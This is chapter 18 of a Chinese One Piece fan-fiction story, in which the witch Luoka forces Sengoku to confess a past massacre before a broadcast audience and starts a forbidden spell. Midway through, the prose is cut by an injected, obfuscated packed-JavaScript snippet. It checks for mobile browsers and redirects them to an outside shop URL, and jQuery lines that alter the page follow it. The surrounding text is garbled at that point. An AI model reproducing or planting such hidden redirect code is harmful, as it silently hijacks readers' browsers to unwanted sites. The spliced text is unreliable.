018
洛卡又往前走了几步,终于还是被一个从天而降的黑影拦住了去路。
她抬头看去,是已然在果实能力的加持下巨大化的战国。暴涨十数米的身高让洛卡仰头看他时十分吃力。战国落地时在地上砸出一个巨坑,周围的海军齐齐惊叫着被那力道震出好远,在被弹出去的瞬间洛卡抱着魔杖跳了起来,用魔力停在了半空中,勉强与战国平视。
“元帅发好大的脾气呀。”洛卡对他绽开一个礼貌的微笑,地面上已有许多死而复生的海军扑过来试图阻拦战国,“你应该也知道就算我死了,这术也停不了吧?”
“你要践踏人命到什么时候!”战国的声音里掺杂着痛心与愤怒。脚边的海军正在持续不断地攻击他,但他没有半分要回击的意思,“这些人都是从别的地区调过来的,他们根本没参与过当年的屠魔令!”
“但是他们今天出现在了这里,只能算他们运气不好吧,就像当年我的族人和岛上的普通人一样。”洛卡直视着战国的眼睛,“其实现在的海军和八年前的海军也没什么区别,反正无论政府给你们下达什么样的指令,是围剿海贼还是杀害平民,你们都会自我洗脑成正义之举然后照做不是吗?”
“……既然如此。”一时之间战国竟没能想出什么反驳之语,“你报复海军又能得到什么?!”
“您竟然觉得这只是简单的报复行为吗?”洛卡被他逗笑了,“我的心脏与位于圣地玛丽乔亚的那颗水晶球相连,心脏遭到破坏之后能被魔力修复,但水晶球可没这么好的运气——眼下玛丽乔亚那些贪图享乐的肥猪恐怕正因为水晶球的爆裂接连死去吧?作为我的监护人,您这个元帅可难辞其咎。”
“我可以不做这个元帅。”饶是有果实能力和霸气加持,战国也无法在同僚的持续攻击下保持无伤,他的眼底涌现出难以言喻的痛苦,“我这个当年对你的家乡发出屠魔令的人可以立刻辞去元帅之位对你谢罪,你到底还想要什么?”
“好感人啊。”洛卡慨叹一声,“弄得好像我是反派一样呢。对于那场灭族之祸,您想到的仅仅只是辞去元帅之位吗?”
地面上正赶到洛卡附近的佐助听到“灭族之祸”的字眼,下意识地抬了抬头。
与此同时,洛卡身后的三个超大显示屏忽然亮了起来——是她的魔力驱使复生的海军去重新开启了映像虫,“战国元帅,你知道我为什么要你和你的同伴互相厮杀吗?”
“……原来如此。”战国悲愤地抬起头,“你要当着全世界的人的面摧毁海军的信誉吗!”
“只是说出当年的真相而已,您这么激动做什么。”洛卡漠然地看他一眼,“接下来我问你的问题你要据实回答,每撒一句谎我就杀一个你的下属。我知道你不敢杀我。”
战国沉默不语。
“八年前,用执行屠魔令的第一批海军作为诱饵、引诱加西亚一族出岛作战导致全族几百人重伤濒死近半,又立马派出第二批海军抓捕手无缚鸡之力的普通岛民以威胁当时已然虚弱的家主去替天龙人催动禁术的,是你没错吧?”
问这话的时候她还是十分冷静,好似在阐述别人家的事情一般。
场上一时静默:战国竟然会用同伴和普通民众当诱饵?
战国的眼角流出眼泪:“是我!当初他们是自愿去执行这种必死的任务的!他们每个人都签了请愿书啊!抓捕你父母那样的叛徒是我们的天职!”
洛卡没理会他苍白的辩解也没理会场内的一片哗然,继续说道:“我族长老催动禁术、禁术发动后被魔力反噬失去了所有抗争之力,海军是抓住了这个机会才能将他们全部杀害。他们是为天龙人的安稳富贵耗尽生命后被弃如敝履、兔死狗烹,并非如海军所说死于叛逃之罪。为保住贵族的名声想出对外宣称加西亚全族因叛逃被诛的主意的,也是你?”
战国回想起八年前的场景:那时候洛卡还是个小姑娘,就站在那些岛民的中间,眼睁睁地看着所有巫师残党被斩落头颅:“是我!所以如果你有任何的愤怒,都请冲我来吧!”
“真是贵族的一把好刀。”洛卡的声线很平,听上去毫无波澜,“所以血洗巫师一族后又仍对岛上的民众穷追不舍,命令海军屠杀普通岛民的,就是你吧。”
这个问题,战国一时没有作答。
但场内外已经炸开了锅:“杀巫师就算了,为什么要屠杀平民?”
“据说是因为岛上的居民与加西亚一族通婚,生下了许多继承了巫师血脉的孩子……”
“所以,是连那些孩子都杀了吗?”
“这太奇怪了,为什么单单留下那个洛卡呢?”
“可……你们都没人注意到这就是屠岛吗?抓个叛徒而已,何至于屠岛啊!”
为什么要屠岛呢?
当时平民之中有人不忍见为岛民做了许多事的加西亚一族就那么被处以极刑,竟有人冲上广场试图救人——当时的海军失去了第一批登岛的同伴,正是气氛剑拔弩张的时候,一个小小的冲突立时点燃了战火,不知是队伍里的谁朝无辜居民开了第一枪,回过神来的时候整座岛都堆满了无辜之人的尸体,岛民大多死于这场本不该有的纷争之中。
洛卡幼时唯一的朋友、也是当时家主唯一的女儿也死在这场屠杀之中,死时年仅十二岁。
战国作为此战的总指挥,确实难辞其咎。
这件事他要承认吗?若是不认,难免有将责任推给死去的岛民之嫌;若是认了……结果不会比现在更差了。
“……那是一场不该有的战争,是我这辈子都忘不了的失误。”
“失误?”洛卡盛怒之下反而笑了一声,但她面上竟还是一副云淡风轻的模样,“您现在元帅的位置坐得好好的,可没见您对这失误付出过任何代价啊?不愧是贵族阶层的心腹啊。事已至此,就请您再回答一个问题:当年你屠我全族为什么单留下我、今天又为什么容忍我如此放肆又不杀我?”
战国再次沉默。
站在地面上仰望着洛卡的艾斯有一种古怪的直觉:她现在似乎正对战国使用言灵术?
事情到了这个地步,战国的反应无论是沉默还是别的什么,全都会变成心虚的印证。他周身缠绕着霸气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052210|194828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
箭矢伤不到他;但他却也没有任何攻击洛卡的动作,只是静默地站在那里。
“因为你还要我使用加西亚代代相传的祝福之术,替那些贵族们实现永生。”洛卡干脆替他回答了,“当时第二批海军之中主张连我一起杀掉的不在少数,你偏偏采纳鹤的进言留下了我的性命,终于在屠岛的第二天凌晨接到了新指令——将我这个巫师一族的末裔带到贵族跟前。”
说到这里洛卡忽觉喉头一腥——催动禁术引起的反噬竟然如此之快,她不由得苦笑了一下。
但她没有给战国反驳的机会,顶着内里不断翻涌的血气勉力将一早便准备好的台词说完:“你不杀我,无非是因为你很清楚,玛丽乔亚成千上万个天龙人的性命都和我的性命紧密相连,我一旦死在海军手里,那些天龙人便和被海军谋杀无异——天龙人可以死在我这种有异心的外人手里,但决不能被自己一手喂大的看门狗反咬一口,不是吗?”
若是战国现在出手杀了洛卡,那么今天来到马林梵多的有军衔的大部分海军都会被降下死罪——这也是赤犬之前对上艾斯时试图用侮辱性语言刺激艾斯丢掉洛卡的原因。
若战国是个普通海军也就罢了,可他是全军元帅,他的个人行为会被解读为所有海军的行为,身处高位的他不能轻举妄动。
洛卡非常清楚这一点,才会将自己酝酿多年的计划选在今天执行:“你自己选吧,元帅。是就这么死在同伴的手里,还是亲手杀死身边的同伴,就像当年亲手送自己的下属下地狱一样?”
“元帅!”这时站在场内另一侧的鹤突然大声朝战国喊道,“那已经是一群傀儡,不再是我们的同伴了!死刑犯还在场内,现在必须以重新逮捕死刑犯并及时执行死刑为最优先啊!”
鹤仍然被定在原地,她说话时带着难以抑制的痛苦的颤音。
洛卡低头看了她一眼,以洛卡现在的角度,鹤看上去只是一个小小的灰点。她的头发已经雪白,她已然年迈了。
但精神依旧坚韧。
鹤说得不错,现在把艾斯抓回来并杀死,海军还能挽回最后的尊严。
洛卡的情绪波动已经过去,眼下她的神情再次变得平静漠然:“我偏要他们安然无恙地离开这里。”
她举起魔杖,头顶大阵的紫光更盛,“那些曾经得到我祝福的天龙人因为我自毁心脏、祝福反噬,所以一个接一个地死了,曾经施加在他们身上的魔力又回到了我这里——你觉得,如果这一次白胡子海贼团全身而退,而海军伤亡惨重,从此以后政府和海军的威信在普通人的眼中会变成什么模样?”
“……快阻止她!”战国终于有了动作,他向洛卡迅速抬起右臂,右掌朝她的面门径直劈去,“她要向整个白团施加永生不死的祝福——洛卡,住手!难道你不知道这是在消耗你的寿命吗!”
然而她已经念起了令战国感到十分耳熟的咒文:“其頟为日月、其眼为星辰、其骨为山川、其血为江河。我曾生长于您的子宫、我曾啃食过您的血肉。以我之血、以我之肉,将新的神使带入您的殿堂,让新的世界敲响您的圣钟!”